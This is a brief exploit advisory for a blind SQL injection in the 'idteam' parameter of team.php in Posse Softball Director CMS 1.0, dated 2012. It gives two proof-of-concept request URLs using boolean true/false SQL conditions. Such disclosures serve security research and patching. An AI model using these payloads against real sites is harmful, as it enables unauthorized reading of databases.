Posse Softball Director CMS – ‘team.php’ Blind SQL Injection
.-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-=--=-=--=-. ~ Posse Softball Director CMS Blind SQL Injection Vulnerability team.php ~ .-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-=--=-=--=-. [+] Autor: easy laster [+] Vulnerabilities [Blind SQL Injection ] [+] Page: www.possesports.com [+] Language: [ PHP ] [+] Version: 1.0 [+] Date: 04.01.2012 [+] Status:vulnerable .-=--=--=--=--=--=--=--=--=--=--=-. [+] Vulnerability team.php?idteam= [+] Exploitable http://[host]/[path]/team.php?idteam=1+and+1=1--+ #true http://[host]/[path]/team.php?idteam=1+and+1=2--+ #false |